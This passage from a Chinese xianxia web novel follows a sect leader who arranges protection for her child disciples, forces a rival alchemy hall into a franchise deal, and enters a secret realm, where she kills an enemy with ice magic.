“哎呦喂,仙儿可真是我们下域的小福星、小财神。”花影瞬间笑靥如花,“小月月啊,你看仙儿这么有天赋,要不要让她跟我去合欢宗小住几天?我保证把她当亲闺女疼,把她养得白白胖胖的。” “少贫嘴。”云见月打断他的滔滔不绝,正色道,“这丹药,可不是让你白拿的。” 花影立刻收敛了嬉笑,“你说,要我做什么?杀人放火,打家劫舍,只要你开口。” “我要去灵墟秘境。”云见月直视着他,语气凝重,“此去凶险难料,归期不定。我不在的这段时间,希望合欢宗能倾力庇护玄天宗,尤其是我的五个徒儿。” 花影沉吟道:“庇护不难。但我需要知道,为何是我们合欢宗?下域宗门众多。” “因为合欢宗是唯一没参与围剿玄天宗的宗门,我与你也算投缘,我相信,合欢宗的承诺,值得这八颗紫金元婴丹,也值得我的托付。” 花影看着玉盒里的丹药,又看了看庭院里嬉闹的孩子们,最终,他妖孽的脸上绽开一个郑重其事的笑容:“好,这份情,我合欢宗承了,你的徒儿,我合欢宗罩了。” “口说无凭。”云见月语气不容置疑,“请你立下天道誓言。” 花影脸上的笑容瞬间垮了一下,带着点委屈嗔怪:“小月月~你真是…一点情面都不讲,信不过我嘛?” 但看到云见月没有丝毫动摇的眼神,他无奈地叹了口气,知道这关非过不可。 他整了整衣袍,收敛了所有玩世不恭,举起右手,指尖凝聚起精纯的灵力,神色变得无比庄重: “天道在上,厚土在下,吾花影立誓:合欢宗上下必倾力庇护玄天宗宗门道场、庇护云见月座下五名弟子周全,使其不受任何外力侵扰、迫害。若违此誓,吾花影当受心魔反噬,修为尽废,此誓,天地共鉴!” 话音落下,一道玄奥的金色符文自他指尖飞出,融入虚空,天道法则的波动一闪而逝——誓言成立! 云见月这才真正松了口气,将玉盒递给花影:“多谢。” 花影小心翼翼地收好玉盒,瞬间又恢复了那副风情万种的模样,冲云见月抛了个媚眼:“小月月你还跟我客气什么~等你从秘境回来,可得给我多设计几套配得上我这绝世容颜的新衣裳当谢礼,不然我可亏大了。” ...... 同日,坊市。 长春堂开业的第三天,人潮比前两日更加汹涌。 不到半个时辰,所有丹药就被抢购一空。 喧嚣如潮水般退去,等人群散去,郁长林脸上堆着讨好的笑,“仙子,今日……还有紫金元婴丹吗?” 青璃头也没抬,继续核对账册,声音平淡无波:“没了。” 郁长林的心猛地一沉,脸上难掩失望。 “也是…毕竟是地阶极品丹药,能侥幸炼制出一颗已是侥幸,又怎么可能还有。” 青璃停下动作,抬眸看向他,语气平淡得像在说今天天气不错:“哦?不容易吗?我家三小姐随手就炼制了十颗。” “十…十颗?”郁长林如遭五雷轰顶,眼珠子差点瞪出来,声音都劈叉了。 他感觉自己几十年的炼丹认知被狠狠踩在地上摩擦。 他声音发颤,急切地问:“那…那另外九颗呢?” 心中燃起一丝微弱的希望,也许还有存货?这一次说什么他都要得到紫金元婴丹,一定要突破元婴。 只听青璃云淡风轻道:“其中八颗,送人了。” “送人了?”郁长林感觉心在滴血,那可是地阶极品丹啊!不是大白菜!说送人就送人? 他强忍着吐血的冲动,带着最后一丝希冀,“那…那最后一颗呢?” “最后一颗?”青璃嘴角勾起一个回味的弧度,“昨天晚上,被我吃了,我家主子说我刚突破元婴,根基还需打磨巩固。这丹药药性温和醇厚,正适合稳固境界,我就吃了。” 那语气,平淡得像在说吃了一颗寻常的辟谷丹。 郁长林:“......” 这到底是什么神仙宗门?地阶极品丹当巩固修为的丹药随便吃? 但下一秒,一个念头福至心灵。 随手就能炼制十颗地阶极品紫金元婴丹,这意味着什么? 意味着长春堂背后这位神秘的三小姐,其丹道造诣早已超出了他的想象,达到了一个匪夷所思、足以颠覆下域丹道格局的境界。 攀上这棵大树,别说一颗紫金元婴丹,怕是连天阶极品大还丹都能炼制。 如此一来,他自己不仅能突破元婴,他的儿子也能修复丹田。 想到这里,他下定决心,无论付出怎样的代价,都要与那位三小姐打好关系。 郁长林的笑谄媚到了至极,腰弯得更低了,声音带着十二万分的讨好,“仙子,贵店三小姐丹术通玄,神乎其技,实乃丹道魁首,我辈只能仰望。 不知能否再劳烦三小姐开恩,屈尊再炼制几颗?无论需要什么灵材,付出多大代价,只要药仙谷有的,我绝无二话。” 青璃内心冷嘲,但脸上不显。 “我家三小姐炼丹,全凭心意。心情好了,或许会随手炼上一炉。心情不好嘛……”她故意拖长了尾音,留足了想象空间。 郁长林的心瞬间提到了嗓子眼,“那如何才能让三小姐心情愉悦呢?仙子,您是三小姐的人,还请您指点迷津啊!我药仙谷感激不尽。” 青璃目光平静地看着他,“诚意。郁谷主,你需要拿出足够的、让三小姐看得上眼的诚意才行。” “诚意?有有有!我有!”郁长林连忙拍着胸脯保证,“灵石?灵药?只要仙子开口,我都给你弄来。” 青璃却轻轻摇了摇头,抛出了一个让郁长林完全懵掉的概念:“我看你们药仙阁的丹药,如今也卖不太动了吧?堆积在库房也是浪费。不如加盟我们长春堂,开分店。” “加盟?分店?”郁长林一脸茫然,这些词他从未听过,仿佛在听天书,“仙子,这‘加盟’是何意?还请仙子详解。” 青璃微微一笑,从袖中取出一张早已准备好的纸,推到郁长林面前。 纸上清晰地画着长春堂的招牌图案,和简单的条款:“就是药仙阁挂我们长春堂的牌子,卖我们的丹药。你们出场地和人手,每月抽成三成给我们。” 她看着郁长林震惊的脸,补充道:“当然,好处是,你能优先买到三小姐炼的丹药,前提是,她那天心情好。” 郁长林盯着纸上的‘长春堂招牌’图案,手指无意识地摩挲着自己的药仙阁令牌,脸色一阵青一阵白。 让药仙谷把自己的药仙阁改成长春堂的分店? 那以后不就没有他药仙阁了? 可一想到紫金元婴丹,以及天阶极品大还丹……他的心动摇了,手指不自觉地攥紧了衣角。 第59章 长春堂分店遍地开花,云见月收钱收到手软 阳光透过精致的窗棂,在光洁的地板上投下斑驳的光影。 长春堂内弥漫着淡淡的药香,却驱不散郁长林心头的窒息感。 他死死盯着“长春堂加盟契约”。 宣纸上的每一个条款,都像烧红的烙铁,狠狠烫在他的尊严之上。 条款一:即日起,原“药仙阁”所有店铺,统一更换为“长春堂·分号”招牌。 条款二:分号所售丹药,其种类、定价、售卖方式,皆由长春堂总部统一制定,分号不得擅自抬价。 条款三:分号每月营业所得,需无条件上缴三成予长春堂总部,逾期则收回经营权。 条款四:分号享有优先申请购买总部炼制特殊丹药的资格,最终是否供应及供应数量,由总部三小姐心情及炼制意愿决定。 卸下招牌,统一定价,三成抽成,看心情...... 这简直就是霸王条款。 药仙阁是他们药仙谷的祖宗基业,传承千年的金字招牌,如今竟要亲手摘下,挂上他人招牌? 这无异于将祖宗的颜面按在地上摩擦! 郁长林一万个不愿意。 可脑海中,紫金元婴丹那流转的紫金光华,儿子郁明轩丹田破碎后苍白痛苦的脸,汇聚成一股无法抗拒的洪流,冲击着他摇摇欲坠的理智。 现实的窘迫更像一盆冷水浇在头上:药仙阁门可罗雀,库房积压的丹药都快发霉了,再这样下去,不等别人动手,自己就先垮了。 长春堂的模式虽然屈辱,却是一条活路,一条能接触到那逆天丹药的捷径。 青璃气定神闲地品了一口茶,金色的眸子透过轻纱,平静无波地注视着郁长林脸上变幻的精彩神色。 她放下茶盏,白皙如玉的指尖轻轻叩击着契约上“优先购买特殊丹药”那条款,发出细微的“笃笃”声。 这声音成了压垮骆驼的最后一根稻草。 郁长林猛地闭上眼,深吸一口气,再睁开时,眼中只剩下破釜沉舟的决绝。 他几乎是咬着牙,声音嘶哑:“好!我……签!但请仙子务必在三小姐面前,为我药仙阁多多美言,那紫金元婴丹……” “协议签了,诚意到了,三小姐自会知晓。”青璃打断他,推过笔墨,“郁谷主,请吧。” 郁长林颤抖着手,在契约上签下自己的名字,按上灵力指印的瞬间,一道微弱的契约灵光自纸上亮起,瞬间融入虚空。 无形的天道法则枷锁已然落下,契约成立。 签完字,郁长林仿佛被瞬间抽干了所有精气神,整个人肉眼可见地佝偻了下去,脸色灰败如土。 青璃看着昔日对手在绝对利益面前低下高傲的头颅,签下这份带着枷锁的“投名状”,屈辱地成为体系下的“分号掌柜”。 她眼底闪过一丝极淡的锐光,药仙谷这颗棋子,总算落位了。 这样的法子,也就只有主子能想得出来。 “恭喜郁谷主,哦不,现在该称呼你为‘郁掌柜’了。明日,我会带人准时前往‘长春堂·分号’,进行招牌更换和首批总部丹药的交割。分号的具体运营细则与总部要求,届时会一并告知。希望合作愉快。” 郁长林只觉得那“合作愉快”四个字刺耳无比。 他勉强拱了拱手,连一句场面话都说不出来,转身,失魂落魄地走出了长春堂。 走出店门时,脚步被门槛绊了一下,踉跄几步才站稳,连这门槛都像是在嘲笑他的狼狈。 午后的阳光落在他身上,却只照出一个萧索、不甘、如同丧家之犬般的背影。 接下来的三天,青云大陆下域被两件大事搅动得风云变色。 第一件,药仙谷遍布各坊市的药仙阁,一夜之间全部摘下了传承千年的招牌,换上了长春堂的琉璃标识。 蓝底金字的“长春堂”三个字在阳光下熠熠生辉,如同雨后春笋般覆盖了整个下域的修仙界。 曾经为了药仙阁而针对玄天宗的大小宗门,此刻都噤若寒蝉。 连药仙谷都成了长春堂的“分号”,他们也没理由再去针对别人。 就在药仙阁改头换面的喧嚣还未平息之际,另一则爆炸性的消息,轰然炸响整个修真界。 作为下域四大宗门之末,合欢宗向来因弟子稀少、宗门大比垫底而被人轻视。 可自从花影带着紫金元婴丹返回宗门,凡是达到金丹后期的弟子,都分到了一颗丹药。 这一日,合欢宗山门内霞光冲天,八道元婴威压同时爆发,震惊了整个修真界。 八婴同升! 此等盛况,下域千年未有。 郁长林在长春堂分号得到消息时,嫉妒得眼睛都红了。 他这才反应过来,青璃说的“赠予他人”,竟是给了合欢宗。 苏心瑶突破、合欢宗八人结婴……这意味着那位三小姐炼制的丹药,助人突破的几率就算没有十成,也有九成。 “恐怖……太恐怖了!”郁长林喃喃道,心中却越发坚定了巴结三小姐的决心。 如今药仙阁成了分号,他也算搭上了线。 只要徐徐图之,总能打动一个六岁孩子的心。 只要攀上她,明轩的丹田就有救了,药仙谷才能真正翻身! 他郁长林能屈能伸,他还有机会。 他立刻唤来郁姝。 姝儿年方八岁,生得玉雪可爱,天赋也不错,一直被当作掌上明珠。 他语重心长地嘱咐:“姝儿,从今天起,你的头等大事,就是让长春堂那位青璃掌柜喜欢你,亲近你,只要她高兴了,她就会在三小姐面前替我们药仙谷多说好话。 等见到三小姐,无论如何你都要和她成为好朋友。” 郁姝重重点头,眼中闪烁着野心:“爹爹放心,我肯定能和三小姐成为最好的朋友,到时候,让她先给哥哥炼丹药治伤,然后我们也会有好多好多厉害的丹药,比所有人都厉害。” “好!好!不愧是我的好女儿!”郁长林闻言,畅快大笑,仿佛已经看到了药仙谷和青云剑宗弟子遍地元婴、碾压下域的辉煌景象。 时间飞速,转眼就是半个月。 在这半个月里,随着长春堂分号遍地开花,云见月收灵石收到手软,扣除成本后净赚近五百万下品灵石,这相当于药仙谷一年的利润,玄天宗已是富得流油。 夜晚的庭院里,月光如水,云见月将五个孩子叫到身边,眼神里满是温柔与不舍。 她挨个摸了摸他们的头,仔细检查了每个人的修为进度,给予了最贴切的叮嘱和鼓励。 最后,她将目光落在他们身上,声音轻柔却带着不容置疑的郑重: “明日灵墟秘境开启,唯有化神修士可入,为师也要进去一探。” 她顿了顿,压下心头翻涌的情绪,“秘境开启,为期一月,这一个月里你们要乖乖听青璃姐姐和虞叔叔的话。” 说到虞青焰,她语气里带着一丝无奈的笑意,但眼神却十分认真,“他性子惫懒,但修为高深。若真有危难,他便是你们最大的倚仗。” “你们要好好修炼,不可懈怠。互相照顾,兄友弟恭。” “不许主动惹事生非,但若有人欺辱你们,也无需忍让,记住,你们身后站着虞叔叔,站着整个合欢宗。” 孩子们脸上的笑容瞬间凝固了。 苏渺渺红着眼圈扑进她怀里,小肩膀一抽一抽的:“师尊,渺渺舍不得你……你一定要早点回来。” 鹿闻声和江迷雾一左一右紧紧拉住云见月的袖子,眼眶红红的,却倔强地不肯掉泪:“我们会好好修炼的,等师尊回来检查。” 萧星尘用力抿着嘴唇,小脸绷得紧紧的,将所有的担忧和不舍都压在心底,只是重重地点头,仿佛在用全身力气承诺。 郁仙从怀里掏出一个玉瓶,小心翼翼地塞进云见月手里,声音带着一丝颤抖:“师尊,这是我新炼的九转涅槃丹,能修复严重伤势,滋养根基。您一定要平安回来。” 云见月握紧手中那枚尚带体温的玉瓶,感受着里面那颗丹药蕴含的磅礴生机与郁仙纯粹的心意,心头最柔软的地方被狠狠触动。 她将孩子们都拢入怀中,下巴轻轻抵在苏渺渺的发顶,声音带着一丝不易察觉的微哑: “好,师尊都记下了,师尊一定会平平安安地回来,你们也要好好的。” 夜深了,等孩子们各自睡下,云见月站在山巅,望着灵墟秘境的方向,眼中闪过一丝决绝。 “若是放不下孩子们,你也可以不去。”虞青焰不知何时出现在她身边。 云见月的声音极轻,“我有不得不去的理由。” 星辰必须快速成长起来,有了修为,才能不被人轻视,不被轻视才不会滋生心魔。 只有夺走楚凌风的机缘,楚凌风的成长速度才不会如原著中那般成为逆天的存在。 她回眸看向虞青焰。 他这人,自恋,懒散,又嘴欠。 可是他,真的很好。 她既是为了星辰,也是不希望虞青焰最终被楚凌风那样的人渣所杀,做成标本,供人赏玩。 虞青焰一回头就对上了云见月那复杂得几乎要凝出水来的眼神。 他怔了一下,随即像是被烫到一样,唰地打开折扇遮住半张脸,只露出一双漂亮到极致却写满‘受不了’的桃花眼:“喂喂,云大宗主,不过是分别一个月,又不是生离死别,收起你那副苦大仇深的表情,不知道的还以为我怎么了你呢。” “还是说,你就这么舍不得我?哎!我这该死的魅力啊。” 云见月:“......” 她收回目光,嘴角却几不可察地勾了勾,夜风卷起她的衣袂,声音轻得像叹息:“少油嘴滑舌,等我回来。” 第60章 灵墟秘境开启,鹿闻声炼制出手雷送师尊 荒古山脉深处,坠龙渊崖边,云雾如纱,缠绕着一块刻满上古符文的巨石,符文流转着暗淡的金光,散发着苍凉的气息。 各路人马泾渭分明地占据着有利位置。 大小宗门服饰各异,世家强者气息沉稳,独来独往的散修则眼神警惕而锐利。 衣袂翻飞间,灵力碰撞的细微声响在空气中弥漫,气氛肃杀得几乎凝固。 楚凌风一身利落的青色劲装,身姿挺拔,负手立于青云剑宗队伍前方。 他的目光缓缓扫过人群,最终,定格在云见月身上,眼底掠过一丝阴狠。 云见月感受到了那道毫不掩饰的目光,但她只是微微侧头,用眼角的余光淡漠地瞥了一眼,随即毫不在意地收回视线,继续低头温言与身边的五个孩子说话。 被彻底的无视了。 楚凌风下颌线绷紧,周身的气息都冷冽了几分。 “凌风哥哥。”苏心瑶快步走到楚凌风身边,一身粉霞色衣裙在灰暗的山谷中格外扎眼。 她仰起脸,带着娇蛮的关切,“灵墟秘境里危险重重,你可一定要万分小心,那些不长眼的凶兽杀了便是,若是遇到其他宗门的人,打得过就打,打不过千万别硬撑,遇事先保自身,别为了争强好胜冒险。还有……” 她声音压低了些,带着一丝醋意,“离合欢宗那些妖女远一点,她们最会蛊惑人心了。” 楚凌风心不在焉地“嗯”了一声,目光却依旧若有似无的落在云见月身上,看着她温柔地蹲下身,将五个孩子一并搂入怀中,那画面刺眼得很。 云见月挨个亲了亲孩子们柔软的小脸蛋,眼中满是不舍与柔软。 “昨天晚上答应为师的事情,能不能做到?” “能!”五个小奶音异口同声,响亮又坚定。 苏渺渺用力搂着云见月的脖子,小脑袋埋在她颈窝,声音带着哭腔:“师尊,渺渺真的舍不得你,你一定要好好的。” 云见月心中更软,轻拍她的背,“那渺渺可不可以给师尊一个祝福?有了渺渺小福星的祝福,师尊肯定能逢凶化吉。” 苏渺渺闻言,松开手,小脸变得无比认真。 她两只小拳头紧紧握住,抵在胸前,闭上眼睛,用一种近乎虔诚的、发自肺腑的稚嫩声音清晰地说道: “渺渺祝福师尊,在秘境中心想事成,化险为夷,遇难成祥!” 话音落下,一股微弱却无比玄妙的法则波动,随着她的话语悄然荡开,无声无息地萦绕在云见月周身,仿佛给她披上了一层看不见的幸运纱衣。 云见月只觉得一股暖流融入四肢百骸,心神都安定了些许。 “有了小福星的祝福,师尊一定平安归来。”云见月揉了揉她的头。 这时,鹿闻声从自己的小储物袋里小心翼翼地掏出一个东西,递到云见月面前,他的小脸有些害羞又有些期待:“师尊,这是徒儿昨天晚上炼制出来的,或许能对师尊有用。” 云见月低头一看,瞳孔骤然收缩。 那东西约莫拳头大小,通体漆黑,表面刻满细密的阵纹,形状竟与她前世见过的“手雷”惊人地相似。 只是握在手中能感受到澎湃的灵力,显然是用修真界的灵材炼制,阵纹流转间暗藏毁灭气息。 “这是……” “渺渺说师尊讲的‘卖核弹的小女孩’故事里的核弹很厉害,就让我也炼个一模一样的。”鹿闻声有些不好意思,“但我太笨了,没炼出核弹,只弄出了这个……师尊能给它取个名字吗?” 虞青焰懒洋洋的声音在一旁响起,“闻声为了鼓捣这玩意儿,可是熬了整整一夜,上面的核心爆裂阵法还是我亲手给他布上去的。 威力嘛……顶得上化神后期修士自爆。” 云见月听完,心中巨震,又是惊喜又是感动。 她知道鹿闻声在炼器一道上天赋异禀,却万万没想到,他仅仅凭着苏渺渺转述的模糊概念,竟然真的能理解并炼制出“手雷”的雏形。 这孩子若在现代,绝对是能引发全球震惊的天才科学家。 他才七岁啊! 等他将来成长起来…… 云见月简直不敢想象那会是何等光景。 她甚至一瞬间想到了现代那些更先进的武器……若是将概念稍微透露给他……怕是整个修真界都要变天了。 光是想象一下那个画面,云见月就激动得指尖都有些发麻。 她强压下翻腾的心绪,看着鹿闻声清澈又带着忐忑的眼睛,郑重地道: “这个东西,叫爆灵雷,好不好?” 鹿闻声展颜一笑,露出两颗小虎牙,“好!都听师尊的。” 随即,云见月从储物袋里掏出一个锦囊交给了萧星尘:“记住,一个月后为师若是没有回来,再打开它。” 萧星尘接过锦囊,刚要说些什么,天空突然传来“咔嚓”一声巨响。 众人抬头,只见原本晴朗的天幕被撕开一道裂缝,裂缝中扭曲的空间形成一个巨大的黑色漩涡,漩涡边缘闪烁着紫金色的雷霆,散发出令人心悸的威压。 灵墟秘境,开启了! 云见月脸色一凝,最后用力抱了抱五个孩子,目光逐一扫过他们的小脸,将所有不舍与担忧压下,化作一句沉沉的嘱托:“一定要听话,等师尊回来!” 她站起身,看向虞青焰。 “他们就交给你了。” 虞青焰收起了那副懒散模样,难得地显露出一丝郑重,“放心去,有我在,天塌下来也砸不到他们一根头发,我们等你回来。” 简短的承诺,却重逾千斤。 云见月点头,随后转身,飞身而起,洁白的衣袂在风中猎猎作响,直奔漩涡而去。 “云见月!”身后突然传来一道气急败坏的女声。 “你给我记住,本小姐早晚会超越你!你最好别死在里面,不然……不然我就带着我天元宗踏平你的玄天宗。 把你这几个宝贝徒弟都抢过来,让他们给我天元宗扫厕所,做最脏最累的活,还不给他们饭吃,天天饿着肚子干活,你听见没有?” 苏心瑶叉着腰,对着天上的云见月怒骂。 云见月身形微顿,唇角勾起一抹极淡的弧度,没有回头,身影化作一道银光,没入黑色漩涡。 “喂——你听到没有——混蛋——”苏心瑶气得原地跳脚。 林思思走过来,疑惑道:“瑶瑶,你怎么了?你不应该关心楚少主吗?怎么反倒担心起云见月了?” 苏心瑶像是被踩了尾巴的猫,瞬间炸毛,“谁、谁担心她了?我恨她还来不及呢!她欺负我那么多次,我还一次都没有堂堂正正地报复回来,要是她就这么轻易死在秘境里,那岂不是太便宜她了?” 林思思嘴角抽了抽:“……哦,原来是这样啊。” “当然!”苏心瑶挺起胸脯,正想再说点什么,一道冷笑自身后传来。 “云见月得罪了我赤炎宗,秘境之内,自有‘惊喜’等着她,她此次必死无疑,苏小姐怕是没机会亲手报复了。” 苏心瑶闻言再次炸毛,指着柳青冥的鼻子就骂: “柳青冥你算个什么东西?你个墙头草两边倒的烂树枝,以前云见月风光的时候,跟在她后面摇尾巴舔鞋底的人是谁?现在看人家宗门落魄了,又立马掉头去巴结凌风哥哥。 我呸!你赤炎宗的地砖都比你的脸皮干净,就你这种货色,给云见月提鞋都不配,还敢大言不惭说她必死?我看你才印堂发黑死气罩顶。” 她语速又快又急,声音清脆响亮,骂得柳青冥脸色瞬间铁青,额头青筋暴跳,周围不少修士都听得目瞪口呆,想笑又不敢笑。 林思思眼皮狂跳,赶紧上前死死捂住苏心瑶的嘴,一边用力把她往后拖,一边冲脸色黑如锅底的柳青冥尴尬地呵呵笑:“柳少主,我家瑶瑶最近修炼出了点岔子,心火旺,口不择言,你男子汉大丈夫,千万别跟她一般见识。” “哼!疯婆子!”柳青冥狠狠瞪了被捂住嘴还在“呜呜”挣扎的苏心瑶一眼,拂袖转身,化作一道赤红火光冲向了秘境入口。 苏心瑶挣脱开林思思的手,“思思你拦我干嘛?我还没骂够呢。” “我的姑奶奶,赤炎宗咱们惹不起啊,你少说两句吧。” 苏心瑶气鼓鼓地哼了一声,一回头,却猛地愣住了。 只见玄天宗的那五个小不点,不知何时排成了一排,正仰着肉乎乎、白嫩嫩的小脸蛋,眨巴着黑白分明的大眼睛,一瞬不瞬地看着她。 见她看过来,五个小家伙像是约好了一样,齐刷刷地对她露出了大大的灿烂笑容,眼睛都弯成了月牙,可爱度爆表。 苏渺渺往前挪了一小步,软软糯糯地开口: “姐姐,你刚才帮师尊骂那个坏蛋,你是个好人!” 苏心瑶:“……” 冷不丁被发了好人卡的苏心瑶脸颊一热,别扭地转过头,耳根却悄悄红了。 “咳咳,我可不是为了帮你们师尊,我单纯就是看不惯柳青冥而已。” 林思思看着五个玉雪可爱的小团子,忍不住伸手轻轻捏了捏苏渺渺肉乎乎的小脸蛋,触感极好,她笑着对苏心瑶道:“瑶瑶,你快捏捏,软绵绵的,好好玩。” 苏心瑶扬着头,一脸高冷。 嘴上说着“小孩子有什么好玩的,看着就烦”,手却已经诚实地伸了过去,轻轻捏了捏。 指尖传来的触感软糯得不可思议,简直像上好的糯米团子。 啊啊啊——真的好好玩。 怪不得云见月刚才一个劲儿的亲个没完,原来摸起来手感这么好。 也不知道亲一口会怎么样? 第61章 杀人,原来可以如此轻易且干净 空间之力如同狂暴的巨手,将云见月狠狠撕扯、抛掷。 天旋地转间,她感觉五脏六腑都错了位,强烈的眩晕感让眼前阵阵发黑。 不知过了多久,双脚终于“咚”地一声踏上实地,震得她脚踝发麻。 可还没等她缓过神,眼前的景象就让她瞬间头皮发麻,全身灵力不受控制地疯狂运转起来。 这里根本不是想象中的仙家洞府,映入眼帘的,是一片一望无际的死寂荒原。 暗紫色的天空扭曲如墨,像一块被揉皱的脏布,沉沉地压在头顶;脚下的大地是焦黑色的,如同被天火反复灼烧过亿万次,龟裂出无数道深不见底的壑隙,灰败的死气从缝隙中汩汩涌出,带着刺鼻的腐蚀性,落在裸露的皮肤上,竟泛起一阵针扎般的刺痛。 空气中弥漫着死寂和绝望的味道。 这里灵气虽然浓郁,却狂暴驳杂得如同掺杂了无数钢针,吸入一口都让人觉得经脉刺痛,必须耗费额外灵力去小心炼化提纯。 云见月心头一沉,她居然被传送到了——寂灭死墟。 看过原著的她知道,这里是灵墟秘境中最荒芜、最偏远、也最危险的绝地之一。 能被随机传送扔到这里的,简直是倒了八辈子的血霉。 被传送到这里的修士,十有八九都成了枯骨。 原剧情中,原主就是被丢到了这里,在此地苦苦挣扎了一个月都没能出去。 为了抵御腐蚀性死气,只能日夜运转灵力维持防护罩;更要命的是,这里会不定时、无规律的爆发时空乱流。 那不是简单的空间裂缝,而是如同海啸般席卷一片区域的、完全混乱的时空风暴。 被卷入其中,直接被混乱的时间法则撕碎寿元瞬间枯老成灰,或是被狂暴的空间碎片切割,连神魂都无法逃脱,更有甚者,可能被抛入永恒的虚空夹缝,求生不得求死不能! 原主就是靠着不停移动、耗尽所有丹药和灵力、最后在即将被一道蕴含恐怖“刀兵之气”的乱流绞杀时,侥幸等到秘境关闭被弹了出去,才捡回一条命,却也伤了根本。 足见此地凶险! 与她相比,男主楚凌风不亏是气运之子,直接被传送到了秘境最中心的地带。 那里是灵气的聚集地,灵气浓郁的化为了雾状。 秘境中心之外,围着一片妖兽森林,里面全都是化神初期到化神后期的妖兽,大到体型堪比五层楼的巨兽,小到成群结队的甲虫,蚊子。 书中记录,从来没有一个修士能从外围杀入到中心地带。 想要进去,唯一的办法就是在进入秘境时,好运的被传送到那个地方。 而楚凌风就是那个幸运儿。 楚凌风被直接传送到灵气成雾的秘境中心,那里灵草动辄万年,哪怕静坐修炼都能精进,更别提他还将收获天阶体修功法。 对比之下,自己这处境堪称地狱模式。 “不能被困死在这里!”云见月压下心中的焦躁和不忿,强迫自己冷静下来。 原著没写出去的路,她只能靠自己。 她闭上眼,心中默念:“渺渺给了我祝福,言出法随,我定能寻到生路!” 下一秒,她开始原地转圈,将一切交给天意。 一圈、两圈……六圈! 六圈转毕,她冥冥中感觉此数暗合吉兆,猛地停住…… 她睁开眼眸,锁定了一个方向——东南! “就是你了!” 没有半分犹豫,云见月周身银色灵力轰然爆发,化作一道银色流光,向着东南方向疾驰而去。 速度飙升到极致。 她不敢有丝毫停留,神识如同最精密的雷达,疯狂扫描计算着前方任何一丝细微的空间波动。 突然,一道时空乱流擦着她的防护罩炸开,边缘的空间碎片飞溅,竟在焦黑大地上犁出数丈深的沟壑。 云见月心道好险。 不过,她的运气似乎真的被苏渺渺的祝福加持了,数次时空乱流在她身边炸开,都被她险之又险地避开。 那道淡蓝色的防护罩在死气中穿梭,像一盏在绝望中前行的孤灯。 一个时辰后,云见月感知前方空间壁垒略有不同,她灵力微吐,如游鱼破浪般轻巧穿透一层无形障壁。 霎时间,眼前浓稠的灰暗如潮水般退去…… 阳光! 温暖的金色阳光将她包裹,空气中弥漫着清新的草木气息,灵气温和纯净,涌入经脉时像清泉流过,抚平了之前的刺痛。 她冲出了寂灭死墟的结界。 云见月呼出一口浊气,她精神大振,毫不停歇地向着秘境中心地带的方向急速掠去。 然而,秘境茫茫,冤家路窄。 飞了不过半个时辰,前方一股炽热而充满敌意的气息毫不掩饰地拦住了去路。 为首之人,正是赤炎宗少主柳青冥。 而他身后,赫然站着三位须发皆白、眼神锐利、气息浑厚的老者,正是坊市中有过冲突的那三位赤炎宗长老。 四人强大的化神期威压连成一片,如同炽热的火墙,灼烧着周围的空气。 柳青冥脸上带着毫不掩饰的狞笑和得意,冷眼看着骤然停下的云见月:“云见月,真是天堂有路你不走,地狱无门你闯进来,上次在坊市,人多嘴杂,本少主奈何你不得。今日在这秘境之中,叫天不应叫地不灵,我看你还往哪里逃!” 他顿了顿,语气更加嚣张:“纵使你有些手段又如何?今日,你必死无疑!” 云见月悬停空中,洁白衣裙在微风中轻轻拂动,脸上却如同万载寒冰,没有丝毫表情,只有一双眸子清冷得映不出任何人的影子。 她淡淡开口,声音平缓却清晰地传入每个人耳中: “一对四?优势在我。” 轻飘飘一句话,差点把柳青冥身后三位长老气得当场破功,胡子都翘了起来。 “狂妄小辈,死到临头还敢口出狂言!”一位化神后期的红脸长老怒喝道,“杀你何需我等同时出手?青冥一人足矣!” 柳青冥亦是冷笑连连,“云见月,你以为我还是之前的我吗?这一个月,我吞服了大量从长春堂购得的极品丹药,根基扎实无比,距离化神中期也只差临门一脚,杀你,易如反掌。” 听到长春堂,云见月冰封的脸上终于有了一丝极细微的变化,她唇角极轻地勾了一下,那弧度冰冷而嘲讽:“哦?从长春堂买的丹药?那倒要多谢柳少主,慷慨解囊,为我玄天宗贡献了不少灵石。” 柳青冥一愣,随即像是听到了荒谬的笑话:“你说什么?长春堂是你的?哈哈哈——云见月,你是死到临头失心疯了吗?开始说胡话了?” “信与不信,随你。”云见月语气依旧平淡,“反正,你们马上就会死了。” “找死!”柳青冥彻底失去耐心,他爆喝一声,体内赤炎灵力疯狂涌动,祭出本命灵剑,带着焚尽八荒的恐怖高温,就要向着云见月劈斩而下。 然而,就在他灵力运转到巅峰,剑势将发未发的那个瞬间。 云见月甚至没有做出任何结印或起手式的动作,只是抬起那双冰寒彻骨的眸子,淡淡地吐出一个字: “凝。” 言出法随! 并非言灵,而是对自身强大冰系法术掌控力的绝对自信。 刹那间! 淡蓝色的寒气以她为中心爆发,寒气掠过之处,空气瞬间凝结成冰。 柳青冥的火焰灵剑被冻在半空,火焰寸寸熄灭;他整个人也被冰层包裹,从脚到头,瞬间化作一座冰雕,保持着挥剑的姿势,眼中还凝固着难以置信的惊骇。 没有惊天动地的碰撞,没有华丽炫目的法术对轰。 只有一声轻描淡写的“凝”,和一个瞬间被剥夺了一切生机与活力的冰雕。 寂静! 死一般的寂静! 剩下的三位赤炎宗长老脸上的狞笑和轻蔑瞬间僵住,转化为无与伦比的惊骇和难以置信,眼球几乎要瞪出眼眶。 发生了什么? 同为化神初期,甚至柳青冥底蕴更扎实,为何连一招都发不出来? 甚至,对方没出招,就冻住了同阶的柳青冥? 这实力差距,简直离谱! 这是何等恐怖的寒冰法则掌控力? 云见月悬浮在那里,周身散发着令人心悸的清冷光辉,仿佛九天玄女,漠然俯视众生。 她看着那具冰雕,终于再次开口,声音依旧平淡,却清冷如霜。 “你不过是吃了一个月的极品丹,一天一颗,一个月也才三十颗。” 她顿了顿,语气带着一丝漫不经心。 “而我……” “拿丹药当饭吃。” “你们,拿什么跟我比?” 其实,更重要的原因云见月不知道,她的强大更源于火凤凰和枯荣轮回菇带来的本质蜕变,其根基之雄厚,早已远超同阶想象。 话音落下的瞬间,广袖轻轻一挥,带起一缕微不足道的清风。 “咔嚓——” 一声脆响,柳青冥的冰雕瞬间布满裂痕,随后轰然碎裂。 他整个人化作漫天冰屑,如同冬日最冷的寒雾,在苍白的光线下纷纷扬扬地飘散开来。 没有惨叫,没有挣扎,没有血迹,甚至没有留下任何曾经存在过的痕迹。 冰屑落地时发出‘簌簌’轻响,像一场无声的葬礼。 一位化神初期的天骄,一个庞大宗门的少主,就在这轻描淡写之间,形神俱灭,化为乌有。 原地只剩下一把被冻住的灵剑,“当啷”一声掉在地上,摔成两段。 